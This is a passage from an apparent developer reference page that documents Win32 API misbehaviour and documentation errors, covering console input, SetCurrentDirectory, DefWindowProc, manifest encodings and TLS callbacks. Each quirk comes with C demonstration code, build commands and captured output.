if (!ReadFile(hInput, szInput, sizeof(szInput), &dwInput, (LPOVERLAPPED) NULL))
PrintConsole(hConsole,
L"ReadFile() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"ReadFile() read %lu characters: \'%hc\' ",
dwCount = dwInput, *szInput);
for (dwInput = 0; dwInput < dwCount; dwInput++)
PrintConsole(hConsole,
L"%lc \\x%02X",
dwInput == 0 ? L'=' : L',', ((LPCSTR) szInput)[dwInput]);
if (!WriteConsole(hConsole, L"\n", 1, (LPDWORD) NULL, NULL))
PrintConsole(hConsole,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
}
}
#else // QUIRKS
if (!WriteConsole(hConsole,
L"Press CTRL+C or ENTER to continue: ",
sizeof("Press CTRL+C or ENTER to continue: ") - 1,
(LPDWORD) NULL,
NULL))
PrintConsole(hConsole,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
else
if (!ReadConsole(hInput, NULL, 0, &dwInput, NULL))
PrintConsole(hConsole,
L"ReadConsole() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"ReadConsole() read %lu characters\n",
dwInput);
if (!WriteConsole(hConsole,
L"Press CTRL+C or ENTER to continue: ",
sizeof("Press CTRL+C or ENTER to continue: ") - 1,
(LPDWORD) NULL,
NULL))
PrintConsole(hConsole,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
else
if (!ReadFile(hInput, NULL, 0, &dwInput, (LPOVERLAPPED) NULL))
PrintConsole(hConsole,
L"ReadFile() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"ReadFile() read %lu characters\n",
dwInput);
#endif // QUIRKS
}
if (!CloseHandle(hInput))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk19.exe
a first time
from the source file quirk19.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk19.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk19.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk19.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk19.exe quirk19.obj kernel32.lib user32.lib
Execute the console application quirk19.exe
built in
step 2. to demonstrate the (mis)behaviour:
.\quirk19.exe
WriteConsoleInput() wrote 4 of 4 input records
€
ReadConsole() read 3 characters: '€' = U+20AC, U+000D, U+000A
WriteConsoleInput() wrote 4 of 4 input records
€
ReadFile() read 3 characters: '?' = \x3F, \x0D, \x0A
OUCH¹: contrary to the second highlighted
statement cited above, the
ReadConsole()
function (mis)behaves not like the
ReadFile()
function, which looses (not only) the € sign!
Build the console application quirk19.exe
a second time
from the source file quirk19.c
created in step 1.,
now with the preprocessor macro QUIRKS
defined:
CL.EXE /DQUIRKS quirk19.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk19.c quirk19.c(43) : warning C4101: 'szInput' : unreferenced local variable quirk19.c(40) : warning C4101: 'dwCount' : unreferenced local variable Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk19.exe quirk19.obj kernel32.lib user32.lib
Execute the console application quirk19.exe
built in
step 4. a first time to demonstrate the (mis)behaviour,
answering its prompt(s) with the Enter key:
.\quirk19.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Press CTRL+C or ENTER to continue: ReadConsole() read 0 characters Press CTRL+C or ENTER to continue: ReadFile() returned error 998 0x3e6 (WIN32: 998 ERROR_NOACCESS) -- 998 (998) Error message text: Invalid access to memory location. CertUtil: -error command completed successfully.OUCH²: contrary to the second highlighted statement cited above, the
ReadConsole()
function (mis)behaves not like the
ReadFile()
function, but waits for console input and returns success when
called with buffer address NULL
and buffer size 0!
Execute the console application quirk19.exe
built in
step 4. a second time to demonstrate the (mis)behaviour, now
answering its prompt(s) with the
Ctrl C keyboard
shortcut:
.\quirk19.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Press CTRL+C or ENTER to continue: ReadConsole() read 0 characters Press CTRL+C or ENTER to continue: ^C 0xc000013a (NT: 0xc000013a STATUS_CONTROL_C_EXIT) -- 3221225786 (-1073741510) Error message text: {Application Exit by CTRL+C} The application terminated as a result of a CTRL+C. CertUtil: -error command completed successfully.
OUCH³: contrary to the third highlighted statement
cited above, the
ReadFile()
function does not return at all when
Ctrl C is
pressed!
OUCH⁴: contrary to the second highlighted
statement cited above, the
ReadConsole()
function (mis)behaves not like the
ReadFile()
function, but returns success when
Ctrl C is
pressed!
SetCurrentDirectory()
specifies:
Changes the current directory for the current process.The documentation for the Win32 function[…]BOOL SetCurrentDirectory( LPCTSTR lpPathName );
lpPathName
The path to the new current directory. This parameter may specify a relative path or a full path. In either case, the full path of the specified directory is calculated and stored as the current directory.
[…]
The final character before the null character must be a backslash ('\'). If you do not specify the backslash, it will be added for you; therefore, specify MAX_PATH-2 characters for the path unless you include the trailing backslash, in which case, specify MAX_PATH-1 characters for the path.
[…]
Each process has a single current directory made up of two parts:
- A disk designator that is either a drive letter followed by a colon, or a server name and share name (\\servername\sharename)
- A directory on the disk designator
GetCurrentDirectory()
repeats the wrong remarks cited above:
Each process has a single current directory made up of two parts:
- A disk designator that is either a drive letter followed by a colon, or a server name and share name (\\servername\sharename)
- A directory on the disk designator
Create the text file quirk20.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szDevices[3] = {L"\\\\.\\NUL",
L"\\\\.\\PIPE",
L"\\\\.\\PIPE\\"};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szDirectory[MAX_PATH];
DWORD dwDevices = 0;
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
do
if (!SetCurrentDirectory(szDevices[dwDevices]))
PrintConsole(hConsole,
L"SetCurrentDirectory() returned error %lu for \'%ls\'\n",
dwError = GetLastError(), szDevices[dwDevices]);
else
if (!GetCurrentDirectory(sizeof(szDirectory) / sizeof(*szDirectory),
szDirectory))
PrintConsole(hConsole,
L"GetCurrentDirectory() returned error %lu for \'%ls\'\n",
dwError = GetLastError(), szDevices[dwDevices]);
else
PrintConsole(hConsole,
L"GetCurrentDirectory() returned value \'%ls\' for \'%ls\'\n",
szDirectory, szDevices[dwDevices]);
while (++dwDevices < sizeof(szDevices) / sizeof(*szDevices));
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk20.exe
from the
source file quirk20.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk20.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk20.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk20.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk20.exe quirk20.obj kernel32.lib user32.lib
Execute the console application quirk20.exe
built in
step 2. to demonstrate the (mis)behaviour:
.\quirk20.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
GetCurrentDirectory() returned value '\\.\NUL' for '\\.\NUL\'
SetCurrentDirectory() returned error 123 for '\\.\PIPE'
GetCurrentDirectory() returned value '\\.\PIPE' for '\\.\PIPE\'
0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123)
Error message text: The filename, directory name, or volume label syntax is incorrect.
CertUtil: -error command completed successfully.
OUCH: contrary to the documentation cited above,
the Win32 function
SetCurrentDirectory()
fails to append the trailing backslash for the argument
\\.\PIPE
and returns the Win32 error code
123 alias
ERROR_INVALID_NAME
instead!
OOPS: contrary to the documentation cited above,
the current directory can but be a device name, for example
\\.\NUL\
or \\.\PIPE\
!
CreateProcess*()
fail to accept
\\.\NUL\
or \\.\PIPE\
as current directory
is left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
DefWindowProc()
and
PostQuitMessage()
are documented in the
MSDN as
follows:
Calls the default window procedure to provide default processing for any window messages that an application does not process. This function ensures that every message is processed. DefWindowProc is called with the same parameters received by the window procedure.
Indicates to the system that a thread has made a request to terminate (quit). It is typically used in response to a WM_DESTROY message.The
WM_NCCREATE
message is documented in the
MSDN as
follows:
Sent prior to the WM_CREATE message when a window is first created.A window receives this message through its WindowProc function.
[…]
If an application processes this message, it should return TRUE to continue creation of the window. If the application returns FALSE, the CreateWindow or CreateWindowEx function will return a NULL handle.
DefWindowProc()
but does not provide the typical response to the
WM_DESTROY
message, and returning TRUE
in response to the
WM_NCCREATE
message fails to register and set the window title!
Create the text file quirk21.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
LRESULT WINAPI WindowProc(HWND hWindow,
UINT uMessage,
WPARAM wParam,
LPARAM lParam)
{
switch (uMessage)
{
#if QUIRKS == 1 // NOTE: DefWindowProc() must be called in response to the
// WM_NCCREATE message to register the window title!
case WM_NCCREATE:
return (LRESULT) 1;
#endif
case WM_DESTROY:
PostQuitMessage(0);
// case WM_NULL:
// case WM_NCDESTROY:
// case WM_CREATE:
return (LRESULT) 0;
default:
return DefWindowProc(hWindow, uMessage, wParam, lParam);
}
}
extern const IMAGE_DOS_HEADER __ImageBase;
const WNDCLASSEX wce = {sizeof(wce),
CS_DBLCLKS,
#if QUIRKS == 2 // NOTE: DefWindowProc() does not call PostQuitMessage()
// in response to the WM_DESTROY message!
DefWindowProc,
#else
WindowProc,
#endif
0, 0,
(HINSTANCE) &__ImageBase,
(HICON) NULL,
(HCURSOR) NULL,
(HBRUSH) COLOR_BACKGROUND,
(LPCWSTR) NULL,
L"Quirks Demonstration Class",
(HICON) NULL};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError;
LRESULT lResult;
BOOL bResult;
HWND hWindow;
MSG msg;
ATOM atom = RegisterClassEx(&wce);
if (atom == 0)
dwError = GetLastError();
else
{
hWindow = CreateWindowEx(WS_EX_APPWINDOW,
wce.lpszClassName,
L"Quirks Demonstration Window",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
(HWND) NULL,
(HMENU) NULL,
wce.hInstance,
NULL);
if (hWindow == NULL)
dwError = GetLastError();
else
{
while ((bResult = GetMessage(&msg, (HWND) NULL, 0, 0)) > 0)
{
if (TranslateMessage(&msg))
;
lResult = DispatchMessage(&msg);
}
dwError = bResult < 0 ? GetLastError() : msg.wParam;
}
if (!UnregisterClass(wce.lpszClassName, wce.hInstance))
dwError = GetLastError();
}
ExitProcess(dwError);
}
About Atom Tables
Build the console application quirk21.exe
from the
source file quirk21.c
created in step 1. with the
preprocessor macro QUIRKS
defined as 2:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DQUIRKS=2 quirk21.c kernel32.lib user32.lib/D (Preprocessor Definitions) For details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk21.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk21.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk21.exe quirk21.obj kernel32.lib user32.lib
Execute the console application quirk21.exe
built in
step 2. and close its window to demonstrate the first
(mis)behaviour:
.\quirk21.exeOUCH¹: although the application window titled
Quirks Demonstration Windowwas closed, the Command Processor waits for the child process to terminate – for example via the Ctrl C keyboard shortcut!
Contrary to its documentation cited above, the Win32
function
DefWindowProc()
fails to provide the typical response to the
WM_DESTROY
message, i.e. it does not call
PostQuitMessage()
to terminate the
message loop
running in the calling thread of the process!
Build the console application quirk21.exe
from the
source file quirk21.c
created in step 1. again,
now with the preprocessor macro QUIRKS
defined as 1:
CL.EXE /DQUIRKS=1 quirk21.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk21.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk21.exe quirk21.obj kernel32.lib user32.lib
Execute the console application quirk21.exe
built in
step 4. to demonstrate the second (mis)behaviour:
.\quirk21.exe
Quirks Demonstration Window!
Contrary to the documentation cited above, an application’s
WindowProc()
must not return TRUE
in response to
the
WM_NCCREATE
message, but needs to call the
DefWindowProc()
function instead!
An application manifest is an XML file that describes and identifies the shared and private side-by-side assemblies that an application should bind to at run time. These should be the same assembly versions that were used to test the application. Application manifests may also describe metadata for files that are private to the application.Windows’ module loader but fails with theFor a complete listing of the XML schema, see […]
NTSTATUS
0xC0150002
alias STATUS_SXS_CANT_GEN_ACTCTX
when a valid
XML encoding
US-ASCII
,
UTF-7
,
UTF-16
or Windows-1252
UTF-8
is used in an application manifestor a
side-by-side manifest!
Create the text file quirk22.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#ifdef _DLL
__declspec(dllexport)
void quirk22(void *window, void *instance, char *cmdline, int cmdshow)
{
return;
}
int _DllMainCRTStartup(void *module, int reason, void *reserved)
{
return reason == 1;
}
#else // _DLL
int wmainCRTStartup(void)
{
return -123456789;
}
#endif // _DLL
Build the
DLL
quirk22.dll
with the function quirk22()
exported and the console application quirk22.exe
from
the source file quirk22.c
created in step 1.:
SET CL=/GAFyz /Oisy /W4 /X /Zl SET LINK=/EXPORT:quirk22=quirk22 /NODEFAULTLIB CL.EXE /Gz /LD /MD /wd4100 quirk22.c SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /Gz quirk22.cFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk22.dll
and
quirk22.exe
build without any library!
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk22.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /EXPORT:quirk22=quirk22 /NODEFAULTLIB /out:quirk22.dll /dll /implib:quirk22.lib quirk22.obj Creating library quirk22.lib and object quirk22.exp Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk22.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk22.exe quirk22.obj
Load and execute the
DLL
quirk22.dll
built in step 2. with
RunDLL32.exe
to verify its
proper function:
RUNDLL32.EXE "%CD%\quirk22.dll,quirk22"
Create the text file quirk22.rc
with the following
content next to the files quirk22.*
created in the
steps 1. and 2.:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define RT_MANIFEST 24
#define CREATEPROCESS_MANIFEST_RESOURCE_ID 1
#define ISOLATIONAWARE_MANIFEST_RESOURCE_ID 2
ISOLATIONAWARE_MANIFEST_RESOURCE_ID RT_MANIFEST
BEGIN
// BUG: the module loader fails with STATUS_SXS_CANT_GEN_ACTCTX
// when a valid encoding other than 'UTF-8' is specified!
"<?xml version='1.0' encoding='US-ASCII' standalone='yes' ?>\n"
"<!-- Copyright (C) 2004-2024, Stefan Kanthak -->\n"
"<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>\n"
" <assemblyIdentity name='Quirk22' processorArchitecture='*' type='win32' version='0.8.1.5' />\n"
"</assembly>\n"
END
XML Declaration [XML Standards]
Create the resource file quirk22.res
with the
(side-by-side) manifest for the
DLL
from the file quirk22.rc
created in step 4.:
RC.EXE /L 0 /X quirk22.rc
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385 Copyright (C) Microsoft Corporation. All rights reserved.
Rebuild the
DLL
quirk22.dll
and embed the (side-by-side) manifest from
the resource file quirk22.res
created in step 5.:
SET CL=/GAFyz /Oisy /W4 /X /Zl SET LINK=/EXPORT:quirk22=quirk22 /NODEFAULTLIB CL.EXE /Gz /LD /MD /wd4100 quirk22.c quirk22.res
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk22.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /EXPORT:quirk22=quirk22 /NODEFAULTLIB /out:quirk22.dll /dll /implib:quirk22.lib quirk22.obj Creating library quirk22.lib and object quirk22.exp
Repeat step 3. and load the
DLL
quirk22.dll
created in step 6. to demonstrate the
(mis)behaviour:
RUNDLL32.EXE "%CD%\quirk22.dll,quirk22"OUCH: although the (side-by-side) manifest embedded in the DLL
quirk22.dll
contains perfectly valid
XML, loading
of the
DLL
fails with Win32 error code 14001 alias
ERROR_SXS_CANT_GEN_ACTCTX
!
Execute the console application quirk22.exe
built in
step 2. to verify its proper function:
.\quirk22.exe ECHO %ERRORLEVEL%
-123456789
Create the text file quirk22.exe.manifest
with the
following content in Windows NT’s native
UTF-16LE
encoding (with or without the
Unicode
BOM)
next to the console application quirk22.exe
built in
step 2.:
<?xml version='1.0' encoding='UTF-16LE' standalone='yes' ?>
<!-- Copyright (C) 2004-2024, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' />
Note: properly created, the file’s size is
328 bytes with BOM, and
326 bytes without.
Execute the console application quirk22.exe
built in
step 2. again to demonstrate the (mis)behaviour:
.\quirk22.exe ECHO %ERRORLEVEL%
The application has failed to start because its side-by-side configuration is incorrect. Please see the application event log or use the command-line sxstrace.exe tool for more detail. 14001OUCH: although the
application manifest
quirk22.exe.manifest
contains perfectly valid
XML, loading
of the application fails with Win32 error code 14001
alias
ERROR_SXS_CANT_GEN_ACTCTX
!
Optionally, if you prefer to see this error message displayed in a
message box, execute quirk22.exe
per
START
:
START quirk22.exe
Create the text file quirk22.vbs
with the following
content next to the application manifest
quirk22.exe.manifest
created in step 9.:
Rem Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
With WScript.CreateObject("Microsoft.Windows.ActCtx")
.Manifest = "quirk22.exe.manifest"
End With
Execute the
VBScript
quirk22.vbs
created in step 12. to load the
application manifest
quirk22.exe.manifest
created in step 9.:
CSCRIPT.EXE quirk22.vbs
Microsoft (R) Windows Script Host, Version 5.812 Copyright (C) Microsoft Corporation. All rights reserved. quirk22.vbs(4, 2) (null): The application has failed to start because its side-by-side configuration is incorrect. Please see the application event log or use the command-line sxstrace.exe tool for more detail.
Remove (really: deny) the execute
access permission from the
NTFS
DACL
of the text file quirk22.exe.manifest
created in
step 9., then start the application quirk22.exe
built in step 2. once again:
ICACLS.EXE quirk22.exe.manifest /Deny "%USERNAME%":(X) .\quirk22.exe ECHO %ERRORLEVEL%
processed file: quirk22.exe.manifest Successfully processed 1 files; Failed processing 0 files Access is denied. 5OUCH: although the text file
quirk22.exe.manifest
is read, not executed, loading of
the application fails with Win32 error code 5 alias
ERROR_ACCESS_DENIED
!
The .tls section:
The initial note is but obsolete and wrong: Windows Vista and later versions of Windows NT support static TLS data in dynamically loaded DLLs!Note
Statically declared TLS data objects can be used only in statically loaded image files. This fact makes it unreliable to use static TLS data in a DLL unless you know that the DLL, or anything statically linked with it, will never be loaded dynamically with the LoadLibrary API function.
Executable code accesses a static TLS data object through the following steps:
[…]
At link time, the linker sets the Address of Index field of the TLS directory. This field points to a location where the program expects to receive the TLS index.
The Microsoft run-time library facilitates this process by defining a memory image of the TLS directory and giving it the special name "__tls_used" (Intel x86 platforms) or "_tls_used" (other platforms). The linker looks for this memory image and uses the data there to create the TLS directory. Other compilers that support TLS and work with the Microsoft linker must use this same technique.
When a thread is created, the loader communicates the address of the thread's TLS array by placing the address of the thread environment block (TEB) in the FS register. A pointer to the TLS array is at the offset of 0x2C from the beginning of TEB. This behavior is Intel x86-specific.
The loader assigns the value of the TLS index to the place that was indicated by the Address of Index field.
The executable code retrieves the TLS index and also the location of the TLS array.
The code uses the TLS index and the TLS array location (multiplying the index by 4 and using it as an offset to the array) to get the address of the TLS data area for the given program and module. Each thread has its own TLS data area, but this is transparent to the program, which does not need to know how data is allocated for individual threads.
An individual TLS data object is accessed as some fixed offset into the TLS data area.
The TLS directory has the following format:
Offset (PE32/PE32+) Size (PE32/PE32+) Field Description 0 4/8 Raw Data Start VA The starting address of the TLS template. The template is a block of data that is used to initialize TLS data. The system copies all of this data each time a thread is created, so it must not be corrupted. Note that this address is not an RVA; it is an address for which there should be a base relocation in the .reloc section. 4/8 4/8 Raw Data End VA The address of the last byte of the TLS, except for the zero fill. As with the Raw Data Start VA field, this is a VA, not an RVA. 8/16 4/8 Address of Index The location to receive the TLS index, which the loader assigns. This location is in an ordinary data section, so it can be given a symbolic name that is accessible to the program. 12/24 4/8 Address of Callbacks The pointer to an array of TLS callback functions. The array is null-terminated, so if no callback function is supported, this field points to 4 bytes set to zero. For information about the prototype for these functions, see TLS Callback Functions. 16/32 4 Size of Zero Fill The size in bytes of the template, beyond the initialized data delimited by the Raw Data Start VA and Raw Data End VA fields. The total template size should be the same as the total size of TLS data in the image file. The zero fill is the amount of data that comes after the initialized nonzero data. 20/36 4 Characteristics The four bits [23:20] describe alignment info. Possible values are those defined as IMAGE_SCN_ALIGN_*, which are also used to describe alignment of section in object files. The other 28 bits are reserved for future use. […]
The program can provide one or more TLS callback functions to […]
The prototype for a callback function (pointed to by a pointer of type PIMAGE_TLS_CALLBACK) has the same parameters as a DLL entry-point function:
typedef VOID (NTAPI *PIMAGE_TLS_CALLBACK) ( PVOID DllHandle, DWORD Reason, PVOID Reserved );
The Reserved parameter should be set to zero. The Reason parameter can take the following values:
Setting Value Description DLL_PROCESS_ATTACH 1 A new process has started, including the first thread. DLL_THREAD_ATTACH 2 A new thread has been created. This notification sent for all but the first thread. DLL_THREAD_DETACH 3 A thread is about to be terminated. This notification sent for all but the first thread. DLL_PROCESS_DETACH 0 A process is about to terminate, including the original thread.
The documentation misses the following part for the x64 alias AMD64 processor architecture (and corresponding parts for other processor architectures as well):
Terminating a Process The documentation for the
When a thread is created, the loader communicates the address of the thread's TLS array by placing the address of the thread environment block (TEB) in the GS register. A pointer to the TLS array is at the offset of 0x58 from the beginning of the TEB. This behavior is Intel x64-specific.
ExitProcess()
function but ignores
TLS Callback Functions
completely:
Use the GetExitCodeProcess function to retrieve the process's exit value. Use the GetExitCodeThread function to retrieve a thread's exit value.The documentation for theExiting a process causes the following:
- All of the threads in the process, except the calling thread, terminate their execution without receiving a DLL_THREAD_DETACH notification.
- The states of all of the threads terminated in step 1 become signaled.
- The entry-point functions of all loaded dynamic-link libraries (DLLs) are called with DLL_PROCESS_DETACH.
- After all attached DLLs have executed any process termination code, the ExitProcess function terminates the current process, including the calling thread.
- The state of the calling thread becomes signaled.
- All of the object handles opened by the process are closed.
- The termination status of the process changes from STILL_ACTIVE to the exit value of the process.
- The state of the process object becomes signaled, satisfying any threads that had been waiting for the process to terminate.
ExitThread()
function fails to inform about
TLS Callback Functions
too:
When this function is called (either explicitly or by returning from a thread procedure), […]The documentation for the
The entry-point function of all attached dynamic-link libraries (DLLs) is invoked with a value indicating that the thread is detaching from the DLL.[…]
Use the GetExitCodeThread function to retrieve a thread's exit code.
GetExitCodeProcess()
function states:
If the process has not terminated and the function succeeds, the status returned is STILL_ACTIVE (a macro for STATUS_PENDING […]The documentation for the
GetExitCodeThread()
function states:
If the specified thread has not terminated and the function succeeds, the status returned is STILL_ACTIVE. If the thread has terminated and the function succeeds, the status returned is one of the following values:Terminating a Thread Thread Local Storage (TLS)
- The exit value specified in the ExitThread or TerminateThread function.
- The return value from the thread function.
- The exit value of the thread's process.
Create the text file quirk23.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szReason[4] = {L"process detach",
L"process attach",
L"thread attach",
L"thread detach"};
__declspec(safebuffers)
VOID WINAPI TLSCallback(HMODULE hModule, DWORD dwReason, LPVOID lpUnused)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule = GetModuleFileName(hModule,
szModule,
sizeof(szModule) / sizeof(*szModule));
HMODULE hCaller;
WCHAR szCaller[MAX_PATH];
DWORD dwCaller;
DWORD dwProcess;
DWORD dwThread;
DWORD dwThreadId = GetCurrentThreadId();
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
return;
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\0';
if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
_ReturnAddress(),
&hCaller))
szCaller[0] = L'\0';
else
{
dwCaller = GetModuleFileName(hCaller,
szCaller,
sizeof(szCaller) / sizeof(*szCaller));
if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
szCaller[dwCaller] = L'\0';
}
GetExitCodeThread(GetCurrentThread(), &dwThread);
GetExitCodeProcess(GetCurrentProcess(), &dwProcess);
PrintConsole(hConsole,
L"\n"
__LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
L"\tCalled module @ 0x%p = %ls\n"
L"\tCalling module @ 0x%p = %ls\n"
L"\tReturn address @ 0x%p = 0x%p\n"
L"\tArguments:\n"
L"\t\tModule = 0x%p\n"
L"\t\tReason = %lu (%ls)\n"
L"\t\tUnused = 0x%p\n"
L"\tThread id = %lu\n"
L"\tThread exit code = %ld\n"
L"\tProcess exit code = %ld\n",
TLSCallback,
hModule, szModule,
hCaller, szCaller,
_AddressOfReturnAddress(), _ReturnAddress(),
hModule, dwReason, szReason[dwReason], lpUnused,
dwThreadId,
dwThread,
dwProcess);
}
DWORD _tls_index = 'VOID'; // NOTE: assigned by the module loader!
const PIMAGE_TLS_CALLBACK _tls_callbacks[] = {TLSCallback, NULL};
// BUG: the module loader does NOT support the 'SizeOfZeroFill' member!
const IMAGE_TLS_DIRECTORY _tls_used = {NULL,
NULL,
&_tls_index,
_tls_callbacks,
'VOID',
0};
extern IMAGE_DOS_HEADER __ImageBase;
__declspec(safebuffers)
DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule;
